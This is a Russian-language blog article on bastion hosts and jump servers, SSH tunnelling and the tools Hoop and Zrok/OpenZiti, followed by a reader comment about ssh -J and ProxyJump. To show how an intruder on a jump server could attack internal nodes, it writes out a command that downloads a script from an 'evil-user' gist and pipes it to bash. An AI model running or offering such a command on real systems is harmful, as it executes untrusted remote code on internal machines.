В инфраструктуре организации есть такое понятие, как узел-бастион — специальный компьютер в сети, обычно на внешней стороне демилитаризованной зоны (ДМЗ) организации. Узел назван по военной терминологии. Если кто видел средневековые крепости, там есть специфические выступы — бастионы, как на КДПВ.

То же самое в компьютерных сетях. Например, перед защищённой компьютерной сетью ставится специальный сервер, через который пробрасывается SSH-туннель в свою частную сеть. Данный «бастион» организуется в соответствии с концепцией нулевого доверия, которая предполагает абсолютное недоверие ко всем объектам и пользователям как снаружи организации, так и внутри неё.

Есть несколько вариантов, как технически организовать такую схему. Можно всё сделать самому, а можно использовать готовые сервисы SaaS, которые решают эту задачу.

Узлы-бастионы используются для разных целей, в том числе:

  • как веб-сервер,
  • DNS-сервер,
  • почтовый сервер (например, SMTP),
  • FTP-сервер,
  • прокси,
  • NNTP-сервер,
  • ловушка (honeypot),
  • VPN-сервер,
  • и др.

Если узел используется для доступа к частной сети, его также называют джамп-сервером.

▍ Что такое джамп-сервер


Джамп-сервер (jump server) предоставляет доступ к сервисам внутренней инфраструктуры. Соответственно, для всех внешних (а то и внутренних) пользователей доступ к этим внутренним сервисам осуществляется только через бастион. В принципе, тут нет ничего сложного, а типичные решения для организации SSH-туннелей хорошо описаны на Хабре. Более конкретную инструкцию см. в статье «Помощь друзьям с использованием OSS для удалённого администрирования при наличии публичного IP-адреса».


Проблемы начинаются при масштабировании. Если мы организуем постоянный доступ для множества пользователей (например, для сотрудников организации), то такой сервер требует обслуживания и специальной настройки. Нам необходимы:

  • особая конфигурация для доступа к конкретной среде (например, RDP и Windows);
  • обязательное обновление последними патчами безопасности;
  • ротация SSH-ключей и обновление, когда приходят/уходят сотрудники (ротация ключей SSH в любом случае необходима даже без изменения штатного списка — часто для этого применяют специальные модули или службы, то есть это ещё одна отдельная задача);
  • управление ролями через sudo, проверка правильности настроек разрешений файловой системы и принадлежности пользователей к соответствующим группам. Нужно строго ограничивать возможности пользователей, чтобы они не навредили себе и другим, а именно:

    • не хранили на джамп-сервере свои закрытые ключи;
    • не пытались подключаться к внутренним службам, к которым им не положено иметь доступ;
    • не превышали свои полномочия;
    • и, естественно, нужно следить за подозрительным поведением, чтобы в ваш «бастион» не проникло постороннее лицо, потому что отсюда оно имеет доступ к внутренним системам и потенциально может запустить там вредоносный код самым элементарным способом:

      $ ssh -A bob@jump-server
      $ ssh bob@internal-node
      $ curl https://gist.github.com/evil-user/evil-script | bash

  • специальный инструментарий;
  • список актуальных сервисов, доступных для взаимодействия (это может быть статический файл, известное имя DNS или документация, как взаимодействовать с этими серверами).

Для управления подобными серверами используют инструменты автоматизации, такие как Terraform, Packer и Ansible.

Поддержка этой инфраструктуры становится дополнительной нагрузкой, которая ложится на плечи штатных инженеров и сисадминов. Никто не будет нанимать отдельный персонал для такой роли, хотя сама задача становится всё более сложной: растёт и нагрузка на сервер, и количество пользователей, и количество инструментов.

Взаимодействие с джамп-сервером осуществляется с помощью SSH-клиента. Это тоже представляет определённую проблему, потому что не всегда легко через SSH-клиент получить все нужные данные из службы внутри VPN. Необходимо сначала установить SSH-соединение с джамп-сервером, потом с другим сервером, затем скопировать искомое содержимое в файл (например, при помощи scp). Вот нативный подход такого взаимодействия:

$ ssh -A bob@jump-server
$ ssh bob@internal-server '/usr/local/bin/myscript.sh > output.csv'
$ scp bob@internal-server:output.csv . && exit
$ scp bob@jump-server:output.csv .

Локальный проброс портов:

$ ssh -N bob@jump-server -L 8080:internal-web-server:3000

Работу с джамп-сервером облегчает ssh-agent. Это специфический клиент SSH, который хранит данные аутентификации за пределами одной сессии, способен хранить в памяти расшифрованные ключи и устанавливать соединение с SSH-клиентами через IPC-сокет (сокет межпроцессного взаимодействия. Подробнее об SSH-агентах см. здесь.

▍ Менеджмент джамп-сервера


Для управления инфраструктурой джамп-серверов созданы даже специальные (коммерческие) сервисы, такие как Hoop. В данном случае вместо управления джамп-сервером и всеми инструментами на нём мы управляем агентами, где изначально заложены необходимые инструменты и примитивы. Это замена одной плоскости менеджмента на другую (теоретически, более удобную).


Здесь реализована собственная платформа идентификации, автоматическая ротация ключей SSH, назначение ролей пользователей. Все настройки для sudoers, серверов DNS и прочего делаются автоматически через SSH-агента (hoop).


Некоторые примеры из официальной документации.

Подключение к инстансу postgres на локальном порту:

$ hoop connect postgres-prod

Проброс порта внутреннего API:

$ hoop connect my-internal-api -p 8000

Создать интерактивную консоль Rails или сессию Django:

$ hoop connect rails-console-homolog
$ hoop connect django-prod

Выполнить скрипт непосредственно в приложении Rails:

$ hoop exec rails-exec-prod <<EOF
puts Rails.env
EOF

В общем, неплохой инструмент для джамп-сервера в дополнение к стандартным клиентам SSH, RDP и VPN.

▍ Zrok: P2P-туннели на OpenZiti


Ещё одна новая опенсорсная разработка — система Zrok на базе OpenZiti, создающая безопасный туннель между разными средами, сетями, VPN и т. д.

Вот как выглядит туннель Shares – Public между приватной сетью и открытым интернетом для публичной раздачи (шаринга) ресурсов:


При этом на «публичной» стороне туннеля не требуется установка какого-то специализированного программного обеспечения, клиента zrok и др. То есть система ориентирована на максимально быстрое и простое использование, в том числе неподготовленными людьми.

Другой вариант — пиринговый туннель Shares – Private между двумя приватными сетями (или персональными компьютерами):


В данном случае безопасный зашифрованный туннель устанавливается между клиентами zrok (доступны в виде бинарников).

Типичные варианты использования публичного гейта:

  • предоставление доступа к своему серверу разработки для друзей и коллег;
  • быстрый хук на свой сервер в облаке (например, AWS) для доступа извне;
  • публикация в открытом доступе файлов или других ресурсов со своего сервера (например, порт);
  • децентрализованный хостинг файлов, репозиториев, видео (в будущем).


Все генерируемые URL по умолчанию эфемерны, то есть прекращают существование сразу после того, как останавливается раздача ресурсов с сервера (в отличие от опции Shares – Reserved, которая генерирует долговременные, постоянные URL).

Примеры команд из документации.

Установка нового контроллера zrok.mydomain.com вместо адреса по умолчанию api.zrok.io:

$ zrok config set apiEndpoint https://zrok.mydomain.com

Теперь установка соединения между серверами и клиентами будет происходить через новый контроллер.

Раздача файлов с сервера:

$ zrok share public . --backend-mode web

После этой команды файлы на сервере становятся доступны по публичным URL такого типа:


Платформа Zrok доступна как облачный сервис SaaS или в варианте self-hosted для установки на своём сервере бесплатно (репозиторий Github). В обоих случаях Zrok работает как отдельный узел (контроллер), связывающий серверы и клиентов. Такой же «бастион» перед частной сетью, как в военной архитектуре. Несмотря на интеллектуальный статус информационной безопасности, в ней на удивление часто используется военная терминология.



Примечание. OpenZiti (и Zork) — одна из технологий для удобного шаринга ресурсов между компьютерами, устройствами и приложениями (приватный VPN или zero trust network). В качестве альтернативных инструментов можно использовать Tailscale, ZeroTier, Cloudflare Tunnels, Yggdrasil и др.

???? Голосуй за нас на премии «ЦОДы РФ»!

Комментарии (1)


  1. void_one
    00.00.0000 00:00
    +36

    Нельзя так. Нельзя в статье про доступ по ssh через jump-сервер не упомянуть специально для этого случая предназначенные параметр -J и опцию ProxyJump. Вместо

    $ ssh -A bob@jump-server
    $ ssh bob@internal-node
    

    может быть просто:

    $ ssh -J bob@jump-server bob@internal-node
    

    А если в .ssh/config добавить опцию для хоста:

    Host internal-node
        ProxyJump jump-server
    

    то можно ходить "напрямую": ssh bob@internal-node, промежуточные соединения ssh установит сам.

    https://wiki.archlinux.org/title/OpenSSH#Jump_hosts